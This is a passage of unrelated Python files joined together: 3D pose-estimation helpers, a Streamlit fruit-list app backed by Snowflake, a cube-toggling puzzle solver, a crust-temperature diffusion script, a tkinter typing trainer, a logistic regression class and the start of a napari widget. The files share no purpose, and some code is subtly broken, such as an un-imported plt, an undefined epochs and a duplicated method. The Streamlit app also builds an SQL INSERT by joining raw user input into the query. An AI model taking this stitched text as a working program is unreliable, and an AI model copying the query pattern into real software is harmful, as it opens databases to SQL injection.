                ret = result
                min_score = result['score']
        pred['final'] = ret

    if debug:
        object_score_maps = np.array(object_score_list)
        segmentation_maps = np.array(seg_map_list)
        object_idx_map, new_seg_maps = resolve_occ(segmentation_maps, object_score_maps)
        pred["object_idx_map"] = object_idx_map
        pred["seg_maps"] = new_seg_maps

    return pred

def resolve_occ(seg_maps, score_maps):
    seg_maps_copy = copy.deepcopy(seg_maps)

    """
    obj_idx_map = np.zeros((seg_maps.shape[1], seg_maps.shape[2]), dtype=np.int16)
    obj_idx_map[seg_maps[0] == 1] = 1
    curr_score_map = copy.deepcopy(score_maps[0])
    for i in range(1, seg_maps.shape[0]):
        overlap = (obj_idx_map > 0) * (seg_maps[i] == 1)
    """

    occ_reasoning_mat = np.zeros((seg_maps.shape[0], seg_maps.shape[0]), dtype=np.int16)
    for i in range(0, seg_maps.shape[0]):
        for j in range(0, seg_maps.shape[0]):
            if i >= j:
                continue
            overlap = (seg_maps[i] == 1) * (seg_maps[j] == 1)
            if np.sum(overlap) == 0:
                continue
            score_i = (
                np.sum(overlap * score_maps[i])
                + np.sum((seg_maps[i] - overlap) * score_maps[i]) * 0.5
            )
            score_j = (
                np.sum(overlap * score_maps[j])
                + np.sum((seg_maps[j] - overlap) * score_maps[j]) * 0.5
            )
            if score_i >= score_j:
                occ_reasoning_mat[i][j] = 1
                occ_reasoning_mat[j][i] = -1
                seg_maps_copy[j][overlap == 1] = 0
            else:
                occ_reasoning_mat[j][i] = 1
                occ_reasoning_mat[i][j] = -1
                seg_maps_copy[i][overlap == 1] = 0

    sm = seg_maps_copy[0]
    for i in range(1, seg_maps_copy.shape[0]):
        sm += seg_maps_copy[i]
    # print(np.sum(sm > 1))
    # print([np.sum(seg_maps_copy[i] * score_maps[i]) for i in range(seg_maps_copy.shape[0])])

    seg_maps_pad = np.concatenate(
        [
            np.zeros(
                (1, seg_maps_copy.shape[1], seg_maps_copy.shape[2]),
                dtype=seg_maps_copy.dtype,
            ),
            seg_maps_copy,
        ],
        axis=0,
    )
    return np.argmax(seg_maps_pad, axis=0), seg_maps_copy

def pre_compute_kp_coords(
    mesh_path,
    azimuth_samples,
    elevation_samples,
    theta_samples,
    distance_samples,
    viewport=3000,
):
    """Calculate vertex visibility for cuboid models."""
    xvert, _ = load_off(mesh_path)

    xmin, xmax = np.min(xvert[:, 0]), np.max(xvert[:, 0])
    ymin, ymax = np.min(xvert[:, 1]), np.max(xvert[:, 1])
    zmin, zmax = np.min(xvert[:, 2]), np.max(xvert[:, 2])
    xmean = (xmin + xmax) / 2
    ymean = (ymin + ymax) / 2
    zmean = (zmin + zmax) / 2
    pts = [
        [xmean, ymean, zmin],
        [xmean, ymean, zmax],
        [xmean, ymin, zmean],
        [xmean, ymax, zmean],
        [xmin, ymean, zmean],
        [xmax, ymean, zmean],
    ]

    poses = np.zeros(
        (
            len(azimuth_samples)
            * len(elevation_samples)
            * len(theta_samples)
            * len(distance_samples),
            4,
        ),
        dtype=np.float32,
    )
    num_vis_faces = []
    count = 0
    for azim_ in azimuth_samples:
        for elev_ in elevation_samples:
            for theta_ in theta_samples:
                for dist_ in distance_samples:
                    poses[count] = [azim_, elev_, theta_, dist_]
                    count += 1
                    if elev_ == 0:
                        if azim_ in [0, np.pi / 2, np.pi, 3 * np.pi / 2]:
                            num_vis_faces.append(1)
                        else:
                            num_vis_faces.append(2)
                    else:
                        if azim_ in [0, np.pi / 2, np.pi, 3 * np.pi / 2]:
                            num_vis_faces.append(2)
                        else:
                            num_vis_faces.append(3)

    kp_coords = np.zeros(
        (
            len(azimuth_samples)
            * len(elevation_samples)
            * len(theta_samples)
            * len(distance_samples),
            len(xvert),
            2,
        ),
        dtype=np.float32,
    )
    kp_vis = np.ones(
        (
            len(azimuth_samples)
            * len(elevation_samples)
            * len(theta_samples)
            * len(distance_samples),
            len(xvert),
        ),
        dtype=np.float32,
    )
    xvert_ext = np.concatenate((xvert, pts), axis=0)
    for i, pose_ in enumerate(poses):
        azim_, elev_, theta_, dist_ = pose_

        C = np.zeros((3, 1))
        C[0] = dist_ * math.cos(elev_) * math.sin(azim_)
        C[1] = -dist_ * math.cos(elev_) * math.cos(azim_)
        C[2] = dist_ * math.sin(elev_)
        azimuth = -azim_
        elevation = -(math.pi / 2 - elev_)
        Rz = np.array(
            [
                [math.cos(azimuth), -math.sin(azimuth), 0],
                [math.sin(azimuth), math.cos(azimuth), 0],
                [0, 0, 1],
            ]
        )  # rotation by azimuth
        Rx = np.array(
            [
                [1, 0, 0],
                [0, math.cos(elevation), -math.sin(elevation)],
                [0, math.sin(elevation), math.cos(elevation)],
            ]
        )  # rotation by elevation
        R_rot = np.dot(Rx, Rz)
        R = np.hstack((R_rot, np.dot(-R_rot, C)))
        P = np.array([[viewport, 0, 0], [0, viewport, 0], [0, 0, -1]])
        x3d_ = np.hstack((xvert_ext, np.ones((len(xvert_ext), 1)))).T
        x3d_ = np.dot(R, x3d_)
        # x3d_r_ = np.dot(P, x3d_)
        x2d = np.dot(P, x3d_)
        x2d[0, :] = x2d[0, :] / x2d[2, :]
        x2d[1, :] = x2d[1, :] / x2d[2, :]
        x2d = x2d[0:2, :]
        R2d = np.array(
            [
                [math.cos(theta_), -math.sin(theta_)],
                [math.sin(theta_), math.cos(theta_)],
            ]
        )
        x2d = np.dot(R2d, x2d).T
        x2d[:, 1] *= -1

        # principal = np.array([px_, py_], dtype=np.float32)
        # x2d = x2d + np.repeat(principal[np.newaxis, :], len(x2d), axis=0)

        x2d = x2d[: len(xvert)]
        kp_coords[i] = x2d

        center3d = x3d_[:, len(xvert) :]
        face_dist = np.sqrt(
            np.square(center3d[0, :])
            + np.square(center3d[1, :])
            + np.square(center3d[2, :])
        )
        ind = np.argsort(face_dist)[: num_vis_faces[i]]

        """
        # 13 13 5 13x12 + 13x12 + 5x12 + 5x12 + 5x13 + 5x13
        # 8 17 6 17x8 + 17x8 + 6x8 + 6x8 + 6x17 + 6x17
        if 0 in ind:
            kp_vis[i, 0:mesh_face_breaks[0]] = 1
        if 1 in ind:
            kp_vis[i, mesh_face_breaks[0]:mesh_face_breaks[1]] = 1
        if 2 in ind:
            kp_vis[i, mesh_face_breaks[1]:mesh_face_breaks[2]] = 1
        if 3 in ind:
            kp_vis[i, mesh_face_breaks[2]:mesh_face_breaks[3]] = 1
        if 4 in ind:
            kp_vis[i, mesh_face_breaks[3]:mesh_face_breaks[4]] = 1
        if 5 in ind:
            kp_vis[i, mesh_face_breaks[4]:mesh_face_breaks[5]] = 1
        """

    poses = poses.reshape(
        len(azimuth_samples),
        len(elevation_samples),
        len(theta_samples),
        len(distance_samples),
        4,
    )
    return poses, kp_coords, kp_vis


import streamlit
import pandas
import requests
import snowflake.connector
from urllib.error import URLError

streamlit.title('My Parents New Healthy Diner')

streamlit.header('Breakfast Menu')
streamlit.text('🥣 Omega 3 & Blueberry Oatmeal')
streamlit.text('🐔 Hard-Boiled Free-Range Egg')
streamlit.text('🥑🍞 Avacado Toast')

streamlit.header('🍌🥭 Build Your Own Fruit Smoothie 🥝🍇')

# import pandas
my_fruit_list = pandas.read_csv("https://uni-lab-files.s3.us-west-2.amazonaws.com/dabw/fruit_macros.txt")
# streamlit.dataframe(my_fruit_list)
my_fruit_list = my_fruit_list.set_index('Fruit')

# Let's put a pick list here so they can pick the fruit they want to include
# streamlit.multiselect("Pick some fruits:", list(my_fruit_list.index))   #  without prefill
# streamlit.multiselect("Pick some fruits:", list(my_fruit_list.index),['Avocado','Strawberries'])
fruits_selected = streamlit.multiselect("Pick some fruits:", list(my_fruit_list.index),['Avocado','Strawberries'])   # next step old line 18
fruits_to_show = my_fruit_list.loc[fruits_selected]

# Display the table on the page.
streamlit.dataframe(fruits_to_show)

# create a repeatable code block (called a function)
def get_fruityvice_data(this_fruit_choice):
  fruityvice_response = requests.get("https://fruityvice.com/api/fruit/" + this_fruit_choice)
  fruityvice_normalized = pandas.json_normalize(fruityvice_response.json())
  return fruityvice_normalized

def insert_row_snowflake(new_fruit):
  with my_cnx.cursor() as my_cur:
    my_cur.execute("insert into fruit_load_list values ('" + new_fruit + "')")
    return "Thanks for adding " + new_fruit

# new section to display fruityvice api response - line 24 in lessons
# variables ---  after all below are done!

try:
  fruit_choice = streamlit.text_input('What fruit would you like information about?')
  # fruit_choice = requests.get('https://fruityvice.com/api/fruit/')  # line 33
  if not fruit_choice:
    streamlit.error ("Please select a fruit to get information")
  else:
#    fruityvice_response = requests.get("https://fruityvice.com/api/fruit/" + fruit_choice)
#    fruityvice_normalized = pandas.json_normalize(fruityvice_response.json())
#    streamlit.dataframe(fruityvice_normalized)
    back_from_function = get_fruityvice_data(fruit_choice)
    streamlit.dataframe(back_from_function)

except URLError as e:
  streamlit.error()

add_my_fruit = streamlit.text_input('What fruit would you like to add?')
if streamlit.button('Add a fruit to the list'):
  my_cnx = snowflake.connector.connect(**streamlit.secrets["snowflake"])
  back_from_function = insert_row_snowflake(add_my_fruit)
  streamlit.text(back_from_function)

streamlit.header("View our Fruit List - Add Your Favorites!")
def get_fruit_load_list():
  with my_cnx.cursor() as my_cur:
    my_cur.execute("select * from fruit_load_list")
    return my_cur.fetchall()

if streamlit.button('Get Fruit List'):
  my_cnx = snowflake.connector.connect(**streamlit.secrets["snowflake"])
  my_data_rows = get_fruit_load_list()
  streamlit.dataframe(my_data_rows)

streamlit.stop()

fruit_choice = streamlit.text_input('What fruit would you like information about?','Kiwi')
streamlit.write('The user entered ', fruit_choice)

# import requests
# fruityvice_response = requests.get("https://fruityvice.com/api/fruit/watermelon")
# fruityvice_response = requests.get("https://fruityvice.com/api/fruit/" + "kiwi")
fruityvice_response = requests.get("https://fruityvice.com/api/fruit/" + fruit_choice)  # line 33

# streamlit.text(fruityvice_response)

streamlit.header("Fruityvice Fruit Advice!")
# streamlit.text(fruityvice_response.json())  ----  commented out for next steps!

# take the json version and normalize it
# write your own comment -what does the next line do?
fruityvice_normalized = pandas.json_normalize(fruityvice_response.json())
# write your own comment - what does this do?
streamlit.dataframe(fruityvice_normalized)

# line 37 in exercise 12  - more inserts to the line for cleanup
# don't run anything past here till we trouble shoot   - new 9/14  moves all the imports to the top!

streamlit.stop()

# import snowflake.connector

# line 39
my_cnx = snowflake.connector.connect(**streamlit.secrets["snowflake"])
my_cur = my_cnx.cursor()
#  old  my_cur.execute("SELECT CURRENT_USER(), CURRENT_ACCOUNT(), CURRENT_REGION()")
my_cur.execute("SELECT * from fruit_load_list")
# old my_data_row = my_cur.fetchone()
my_data_rows = my_cur.fetchall()
# old streamlit.text("Hello from Snowflake:")
# old 2  streamlit.text("The fruit load list contains:")
# old streamlit.text(my_data_row)
streamlit.header("The fruit load list contains:")
# old 2  streamlit.dataframe(my_data_row)
streamlit.dataframe(my_data_rows)

# line 46
add_my_fruit = streamlit.text_input('What fruit would you like to add?')
streamlit.write('Thanks for adding ', add_my_fruit)

# line 50 and 51
# this will not work correctly, but just go with it now
my_cur.execute ("insert into fruit_load_list values ('from streamlit')")


from dataclasses import dataclass

@dataclass
class Command:
    com : str
    x : tuple
    y : tuple
    z : tuple

ip = 'input_test.txt'
ip = 'input_test2.txt'
ip = 'input.txt'

coms = []

with open (ip, "r") as f:
    for line in f:
        l = line.strip().split(' ')
        com = l[0]
        l = l[1].split(',')

        x = l[0].split('=')[1].split('..')
        x = [int(x[0]), int(x[1])]

        y = l[1].split('=')[1].split('..')
        y= [int(y[0]), int(y[1])]

        z = l[2].split('=')[1].split('..')
        z = [int(z[0]), int(z[1])]

        x[0] = max(x[0], -50)
        x[1] = min(x[1], 50)

        y[0] = max(y[0], -50)
        y[1] = min(y[1], 50)

        z[0] = max(z[0], -50)
        z[1] = min(z[1], 50)

        c = Command(com=com, x=tuple(x), y=tuple(y), z=tuple(z))
        coms.append(c)

cubes = set()

for i, c in enumerate(coms):
    print(i, c)
    for x in range(c.x[0], c.x[1]+1):
        for y in range(c.y[0], c.y[1]+1):
            for z in range(c.z[0], c.z[1]+1):
                t = (x, y, z)
                if c.com == "on":
                    cubes.add(t)
                else:
                    if t in cubes:
                        cubes.remove(t)
    print(i, len(cubes))

sum_on = 0
for c in cubes:
    x, y, z = c
    if x>=-50 and x <= 50 and y >= -50 and y <= 50 and z >= -50 and z <= 50:
        sum_on += 1

print(sum_on)


'''
Jake Richter
Newman 9.4 pg. 424

Calculate the termperature profile of the crust as a function of depth up to 20 m and the time up to 10 years
'''

import numpy as np
import matplotlib.pyplot as plt

L = 20       # Thickness oof earth
D = .1       # Thermal diffusivity
N = 100       # Number of divisions in grid
a = L/N       # Grid spacing
h = .10       # Time-step
epsilon = h/N
x = np.arange(0,L+a,a)
A = 10
B = 12
tau = 365

Tlo = 10     # Low temperature in Celcius

Thi = 11    # Hi temperature in Celcius

# initialzing T array
T = np.empty(N+1,dtype = float)
T[1:N-1] = 10
T[0] = A
T[N] = 11

Tp = np.empty(N+1,float)

c = h*D/(a*a)
t = 0
tend = 10*365 + 94
plt.figure()
while t < tend:

    # Calculate the new values of T
    Tp[0] = A + B * np.sin(2 * np.pi * t/tau)
    Tp[N] = 11
    Tp[1:N] = T[1:N] + c*(T[2:N+1] + T[0:N-1]- 2*T[1:N])

    T,Tp = Tp,T
    t += h
    if t >  (9*365) and t <  (9*365) + .1 :
        plt.plot(x,T , label = 'Year 10 - Day 1 ')
    if t > 92 + (9*365) and t < (92*1) + (9*365) + .1 :
        plt.plot(x,T, label = 'Year 10 - Month 3 ')
    if t > (92*2) + (9*365) and t < (92*2) + (9*365) + .1:
        plt.plot(x,T, label = 'Year 10 - Month 6')
    if t > (92*3) + (9*365) and t < (92*3) + (9*365) + .1 :
        plt.plot(x,T, label = 'Year 10 - Month 9')
    if t > (92*4) + (9*365) and t < (92*4) + (9*365) + .1 :
        plt.plot(x,T, label = 'Year 10 - Month 12')

plt.legend()
plt.show()


from tkinter import *
import sys
import random, time
import numpy as np
from threading import *
import requests
from bs4 import BeautifulSoup

#colorTheme = ['white', 'black', 'gray38', 'black']
#colorTheme = ['lightgray', 'white', 'black', 'black']
#colorTheme = ['lightgray', 'black', 'gray38', 'white']
#colorTheme = ['tan', 'saddlebrown', 'brown', 'saddlebrown']
#colorTheme = ['#1b1b1b', 'lightgray', 'gray', 'white']
#colorTheme = ['#1b1b1b', 'lightgray', '#Fc2AEC', 'white']
colorTheme = ['#1b1b1b', 'lightgray', 'red', 'white']

bgColor = colorTheme[0]
fgColor = colorTheme[1]
highlightColor = colorTheme[2]
cursorColor = colorTheme[3]

fonts = [('Courier', 6), ('Courier New', 2), ('Consolas', 1), ('Menlo', 2), ('Andale Mono', 2), ('Linux Libertine Mono O', 3)]
font, kerning = fonts[1]

windowWidth = 700
windowHeight = 800
font_size = 18
indent = 60

path = 'The Land That Time Forgot'

root = Tk()
root.title(str(path))
root.geometry(str(windowWidth) + 'x' + str(windowHeight))
canvas = Canvas(root, highlightthickness = 0, background = bgColor)
canvas.pack(fill = BOTH, expand = 1)

full_text = ''
if path != '':
    full_text = open("/Users/korysanchez/Documents/coding/Resources/" + str(path) + '.txt', 'r').read()
else:
    for i in range(12):
        page = requests.get("https://www.lipsum.com/feed/html")
        soup = BeautifulSoup(page.content, "html.parser")
        results = soup.find(id="lipsum").find_all("p")
        full_text = full_text + str(results[0])[4:-5]
        full_text = full_text + " "

spacing = font_size / 2 + kerning

text = [[]]
c = 0
ii = 0
chars_in_row = 0
newLine = False
allocate = False
active_row, active_col = 0, 0
if '`' in full_text:
    allocate = True
for i in range(len(full_text)):
    if full_text[i] == '\n':
        newLine = True
    if ii + spacing + 1 > windowWidth:
        text.append([])
        c = c + 1
        chars_in_row = ii / spacing
        ii = 0
    if ii == 0 and full_text[i] == ' ':
        ii = ii - spacing
    else:
        if newLine:
            text[c].append('~')
            ii = 0
            text.append([])
            c = c + 1
            newLine = False
        else:
            if allocate:
                if full_text[i] == '`':
                    allocate = False
                    active_row, active_col = len(text) - 1, len(text[c]) - 1
                else:
                    text[c].append([full_text[i], -1])
            else:
                text[c].append(full_text[i])
    ii = ii + spacing
windowWidth = int(chars_in_row * spacing + spacing / 2 )
root.geometry(str(windowWidth) + 'x' + str(windowHeight))
curr_row = 0
windowWidth = ii
canvas_texts = []
for i in range(len(text)):
    canvas_texts.append([])

def draw_row(height, row):
    global cursor
    x = spacing - 4 + indent
    for i in range(len(text[row])):
        if len(text[row][i]) > 1:
            color = highlightColor
            if text[row][i][0] == '~':
                color = bgColor
            canvas_text = canvas.create_text(x + i * spacing, height, text = text[row][i][0], font = (font, font_size), fill = color)
        else:
            color = fgColor
            if text[row][i] == '~':
                color = bgColor
            canvas_text = canvas.create_text(x + i * spacing, height, text = text[row][i], font = (font, font_size), fill = color)
        if row == active_row and i == active_col:
            root.unbind(canvas.itemcget(canvas_text - 1, 'text'))
            root.bind(canvas.itemcget(canvas_text, 'text'), lambda event, row = active_row, num = canvas_text: type_letter(event, row, num))

        canvas_texts[row].append(canvas_text)

def shift_row_down(row):
    for i in range(len(text[row])):
        c = canvas.coords(canvas_texts[row][i])
        canvas.coords(canvas_texts[row][i], c[0], c[1] + (spacing * 2 - 2))
def shift_row_up(row):
    for i in range(len(text[row])):
        c = canvas.coords(canvas_texts[row][i])
        canvas.coords(canvas_texts[row][i], c[0], c[1] - (spacing * 2 - 2))
def delete_row(row):
    for i in range(len(canvas_texts[row])):
        canvas.delete(canvas_texts[row][i])
    canvas_texts[row] = []

def scroll_down(event):
    global curr_row
    if shifting:
        if event.keysym == 'Down':
            for i in range(screen_row_count):
                delete_row(curr_row - screen_row_count + i)
            for i in range(screen_row_count):
                draw_row(i * (spacing * 2 - 2) + spacing, len(text) - screen_row_count + i)
        curr_row = len(text)
    elif curr_row < len(text):
        if canvas.itemcget(cursor, 'fill') == cursorColor:
            c = canvas.coords(cursor)
            canvas.coords(cursor, c[0], c[1] - (spacing * 2 - 2), c[2], c[3] - (spacing * 2 - 2))
            if canvas.coords(cursor)[3] <= 0:
                canvas.delete(cursor)
        delete_row(curr_row - screen_row_count)
        for i in range(curr_row - screen_row_count + 1, curr_row ):
            t = Thread(target=shift_row_up, args=[i])
            t.run()
        draw_row(int(windowHeight / (2*spacing - 2)) * (2*spacing - 2) - spacing, curr_row)
        curr_row = curr_row + 1
        canvas.update()
def scroll_up(event):
    global curr_row
    if shifting:
        if event.keysym == 'Up':
            for i in range(screen_row_count):
                delete_row(curr_row - screen_row_count + i)
            for i in range(screen_row_count):
                draw_row(i * (spacing * 2 - 2) + spacing, i)
        curr_row = screen_row_count
    elif curr_row > screen_row_count:
        if canvas.itemcget(cursor, 'fill') == cursorColor:
            c = canvas.coords(cursor)
            canvas.coords(cursor, c[0], c[1] + (spacing * 2 - 2), c[2], c[3] + (spacing * 2 - 2))
            if canvas.coords(cursor)[1] >= windowHeight:
                canvas.delete(cursor)
        delete_row(curr_row - 1)
        for i in range(curr_row - screen_row_count, curr_row - 1):
            t = Thread(target=shift_row_down, args=[i])
            t.run()
        draw_row(spacing, curr_row - screen_row_count - 1)
        curr_row = curr_row - 1
        canvas.update()

def page_down(event):
    global curr_row
    if curr_row + screen_row_count < len(text):
        canvas.delete(cursor)
        for i in range(screen_row_count):
            delete_row(curr_row - screen_row_count + i)
        for i in range(screen_row_count):
            draw_row(i * (spacing * 2 - 2) + spacing, curr_row - 1 + i)
        curr_row = int(curr_row + screen_row_count - 1)
def page_up(event):
    global curr_row
    if curr_row - (2 * screen_row_count) + 1 >= 0:
        canvas.delete(cursor)
        for i in range(screen_row_count):
            delete_row(curr_row - screen_row_count + i)
        for i in range(screen_row_count):
            draw_row(i * (spacing * 2 - 2) + spacing, curr_row - (2 * screen_row_count) + 1 + i)
        curr_row = int(curr_row - screen_row_count + 1)

shifting = False
def shift(event, cond):
    global shifting
    shifting = cond

def type_letter(event, row, num):
    global cursor, active_row, active_col
    num0 = canvas_texts[int(active_row)][int(active_col)]
    canvas.delete(cursor)
    if canvas.itemcget(num0, 'text') != '~':
        c = canvas.coords(num0)
        cursor = canvas.create_line(c[0]+spacing / 2, c[1] - spacing + 2, c[0]+spacing / 2, c[1] + spacing - 3 , fill = cursorColor, width = '1')
    else:
        c = canvas.coords(canvas_texts[(active_row + 1)][0])
        cursor = canvas.create_line(c[0]-spacing / 2, c[1] - spacing + 2, c[0]-spacing / 2, c[1] + spacing - 3 , fill = cursorColor, width = '1')
    if canvas.itemcget(num0, 'text') != '~':
        canvas.itemconfig(num0, fill = highlightColor)
        canvas.update()

    root.unbind('<' + str(event.keysym) + '>')

    text[(active_row)][active_col] = [text[(active_row)][active_col], -1]
    if active_col == len(canvas_texts[active_row]) - 1 or canvas.itemcget(num0, 'text') == '~':
        if len(canvas_texts[active_row - screen_row_count + 2]) != 0:
            page_down(None)
            canvas.delete(cursor)
            c = canvas.coords(canvas_texts[(active_row + 1)][0])
            cursor = canvas.create_line(c[0]-spacing / 2, c[1] - spacing + 2, c[0]-spacing / 2, c[1] + spacing - 3 , fill = cursorColor, width = '1')
        active_row = active_row + 1
        active_col = 0
        next = canvas_texts[active_row][active_col]
    else:
        active_col = active_col + 1
        next = canvas_texts[int(active_row)][int(active_col)]
    if canvas.itemcget(next, 'text') == " ":
        bind = 'space'
    elif canvas.itemcget(next, 'text') == '~':
        bind = "Return"
    elif canvas.itemcget(next, 'text') == '-':
        bind = 'minus'
    elif canvas.itemcget(next, 'text') == "’":
        bind = 'apostrophe'
    elif canvas.itemcget(next, 'text') == ',':
        bind = 'comma'
    else:
        bind = canvas.itemcget(next, 'text')
    root.bind('<' + str(bind) + '>', lambda event, row = active_row, num = next: type_letter(event, row, num))
def die(event):
    with open("/Users/korysanchez/Documents/coding/Resources/" + str(path) + '.txt', 'w') as f:
        for i in range(len(full_text)):
            letter = full_text[i]
            if letter == '~':
                letter = '\n'
            if letter == '`':
                letter = ''
            if (active_row + 1) * (active_col + 1) == i:
                print(active_row, active_col)
                f.write('`')
            f.write(letter)
    sys.exit()

y = spacing
screen_row_count = 0
while y + spacing < windowHeight:
    draw_row(y, curr_row)
    curr_row = curr_row + 1
    y = y + (2 * spacing - 2)
    screen_row_count = screen_row_count + 1

windowWidth = int(chars_in_row * spacing + spacing / 2  + 2 * indent)
windowHeight = int(screen_row_count * (2 * spacing - 2) + spacing / 2 - 2)
root.geometry(str(windowWidth) + 'x' + str(windowHeight))

cursor = canvas.create_line(0, 0, 0, 0, width = '1', fill = cursorColor)
quit_button = canvas.create_rectangle(0, 0, 10, 10, fill = highlightColor, outline = '')
canvas.tag_bind(quit_button, '<Button-1>', die)

#root.bind("<Shift-KeyPress>", lambda event, cond = True: shift(event, cond))
#root.bind("<KeyRelease>", lambda event, cond = False: shift(event, cond))
root.bind("<Down>", scroll_down)
root.bind("<Up>", scroll_up)
root.bind("<Left>", page_up)
root.bind("<Right>", page_down)
if '`' not in full_text:
    root.bind(canvas.itemcget(canvas_texts[0][0], 'text'), lambda event, row = active_row, num = canvas_texts[0][0]: type_letter(event, row, num))

root.mainloop()


#!/usr/bin/env python
# coding: utf-8
from ml_toolbox.utils.feature import BagOfWords, BagOfWordsTrim
import numpy as np
import sys
from collections import defaultdict
# import jax.numpy as jnp

class LogisticRegression():
    def __init__(self,  train_formatted_output,
                        test_formatted_output,
                        valid_formatted_output,
                        input_dict_filename,
                        train_file,
                        test_file,
                        metrics_out,
                        lr = 0.1,
                        epochs = 30):

        self.epochs = epochs
        self.lr = lr
        self.input_dict = self.read_dict(input_dict_filename)
        self.inv_dict = {v: k for k, v in self.input_dict.items()}
        self.train_features, self.train_labels = self.read_input(train_formatted_output)
        self.valid_features, self.valid_labels = self.read_input(valid_formatted_output)
        self.test_features, self.test_labels = self.read_input(test_formatted_output)
        self.train_out = train_file
        self.test_out = test_file
        self.metrics_out = metrics_out
        self.sigmoid = lambda x: np.exp(x)/(1 + np.exp(x))

    def return_feature_idxs(self, features, vocab):
        idxs = []
        for f in features:
            idxs.append(vocab[f])
        features = np.zeros(len(vocab))
        features[idxs] = 1.0
        return features, idxs

    def read_input(self, filename):
        features = []
        labels = []
        with open(filename) as f:
            for l in f:
                data = defaultdict(list)
                labels.append(l[0])
                for val in l[1:].split('\t'):
                    if val:
                        word = self.inv_dict[int(val.split(':')[0])]
                        data[word] = labels[-1]
                features.append(data)
        return features, labels

    def read_dict(self, filename):
        dict = {}
        with open(filename, 'r') as f:
            for line in f:
                split = line.split(' ')
                dict[split[0]] = int(split[1].split('\n')[0])
        return dict

    def train(self, X_train, Y_train, vocab, epochs, lr):

        weights = np.zeros(len(vocab))
        bias = 0
        for _ in range(epochs):
            for x_train, y_train in zip(X_train, Y_train):
                y_dot = self.sparse_product(weights, x_train) + bias
                features, _ = self.return_feature_idxs(x_train, vocab)
                gradient = (float(y_train) - float(self.sigmoid(y_dot))) / len(X_train)
                gradient_w = gradient * features
                weights = weights + lr * gradient_w
                bias = bias + lr * gradient
        return weights, bias

    def sparse_product(self, weights, features):
        res = 0.0
        for f in features:
            index = self.input_dict[f]
            res += weights[index]
        return res

    def return_feature_idxs(self, features, vocab):
        idxs = []
        for f in features:
            idxs.append(vocab[f])
        features = np.zeros(len(vocab))
        features[idxs] = 1.0
        return features, idxs

    def predict(self, X_test, weights, bias):
        y_preds = []
        for x_test in X_test:
            y_dot = self.sparse_product(weights, x_test) + bias
            y_pred = 1 if self.sigmoid(y_dot) >= 0.5 else 0
            y_preds.append(str(y_pred))
        return y_preds

    def evaluate(self, X_test, Y_test, weights, bias):
        Y_preds = np.array(self.predict(X_test, weights, bias))
        err = len(np.where(np.array(Y_preds == Y_test) == False)[0])/len(Y_test)
        return err

    def output_label_file(self, y_preds, out_filename):
        with open(out_filename, 'w') as f:
            for y_pred in y_preds:
                print(y_pred, file = f)

    def run_survey(self):

        weights, bias = self.train(self.train_features,
                            self.train_labels,
                            self.input_dict,
                            self.epochs, self.lr)

        self.test_err = self.evaluate(self.test_features,
                                self.test_labels,
                                weights, bias)

        self.train_err = self.evaluate(self.train_features,
                                self.train_labels,
                                weights, bias)

        self.valid_err =self.evaluate(self.valid_features,
                                self.valid_labels,
                                weights, bias)

        y_preds = self.predict(self.train_features, weights, bias)
        self.output_label_file(y_preds, self.train_out)

        y_preds = self.predict(self.test_features, weights, bias)
        self.output_label_file(y_preds, self.test_out)

        with open(self.metrics_out, 'w') as f:
            print(f'error(train): {self.train_err}', file = f)
            print(f'error(test): {self.test_err}', file = f)

    def calculate_log_likelihood(self, x, y, weights, bias):
        loss = 0.0
        for feature, label in zip(x, y):
            product = self.sparse_product(weights, feature)
            loss += (-float(label) * product + np.log(1 + np.exp(product)))
        return loss/len(x)

    def plot_loss(self):
        train_loss = []
        valid_loss = []
        weights = np.zeros(len(self.input_dict.keys()))
        bias = 0
        for _ in range(epochs):
            for x_train, y_train in zip(self.train_features, self.train_labels):
                y_dot = self.sparse_product(weights, x_train) + bias
                features, _ = self.return_feature_idxs(x_train, self.input_dict)
                gradient = (float(y_train) - float(self.sigmoid(y_dot))) / len(self.train_labels)
                gradient_w = gradient * features
                weights = weights + self.lr * gradient_w
                bias = bias + self.lr * gradient
            train_loss.append(self.calculate_log_likelihood(self.train_features, self.train_labels, weights, bias))
            valid_loss.append(self.calculate_log_likelihood(self.valid_features, self.valid_labels, weights, bias))
        x = range(0,epochs)
        plt.plot(x, train_loss, "r", linewidth = 1.0, label = "Training loss")
        plt.plot(x, valid_loss, "g", linewidth = 1.0, label = "Validation loss")
        plt.title("Evaluation of losses")
        plt.xlabel('epochs')
        plt.ylabel('log likelihood')
        plt.legend()
        plt.show()

    def plot_loss_lrs(self):
        for lr in [0.1, 0.0001, 0.5]:
            train_loss = []
            valid_loss = []
            weights = np.zeros(len(self.input_dict.keys()))
            bias = 0
            losses = []
            for _ in range(epochs):
                for x_train, y_train in zip(self.train_features, self.train_labels):
                    y_dot = self.sparse_product(weights, x_train) + bias
                    features, _ = self.return_feature_idxs(x_train, self.input_dict)
                    gradient = (float(y_train) - float(self.sigmoid(y_dot))) / len(self.train_labels)
                    gradient_w = gradient * features
                    weights = weights + lr * gradient_w
                    bias = bias + lr * gradient
                train_loss.append(self.calculate_log_likelihood(self.train_features, self.train_labels, weights, bias))

            x = range(0,epochs)
            plt.plot(x, train_loss, linewidth = 1.0, label = str(lr))
        plt.title("Evaluation on different learning rates")
        plt.xlabel('epochs')
        plt.ylabel('log likelihood')
        plt.legend()
        plt.show()

if __name__ == '__main__':

    formatted_train_out = 'formatted_train.tsv'
    formatted_validation_out = 'formatted_valid.tsv'
    formatted_test_out = 'formatted_test.tsv'
    input_dict_filename = 'handout/dict.txt'
    train_out = 'train_out.labels'
    test_out = 'test_out.labels'
    metrics_out = 'metrics_out.txt'
    epochs = 30

    logistic_regression = LogisticRegression(formatted_train_out,
                                            formatted_test_out,
                                            formatted_validation_out,
                                            input_dict_filename,
                                            train_out,
                                            test_out,
                                            metrics_out,
                                            lr = 0.1, epochs = epochs)

    logistic_regression.run_survey()
    #logistic_regression.plot_loss()
    #logistic_regression.plot_loss_lrs()


"""Widgets that use temporal shapes layer for the input."""

from __future__ import annotations

from typing import TYPE_CHECKING, Any
import numpy as np

from magicgui.widgets import Table
from magicgui.widgets._bases.value_widget import UNSET

import napari

from ._buttoned import ButtonedValueWidget
from ._mouse import MouseInteractivityMixin, Mode
from ._typing import MouseEvent

if TYPE_CHECKING:
    from numpy.typing import ArrayLike
    from napari.layers import Shapes

class _ShapeDataEdit(ButtonedValueWidget, MouseInteractivityMixin):
    SHAPE_MODE: str = ""

    def __init__(self, value=UNSET, nullable=False, **kwargs):
        self._table_data = self._init_data()
        data_table = Table(
            value=self._table_data, columns=["Y", "X"], name="data"
        )
        data_table.min_height = 30
        data_table.max_height = 120
        data_table.read_only = True
        self._table = data_table
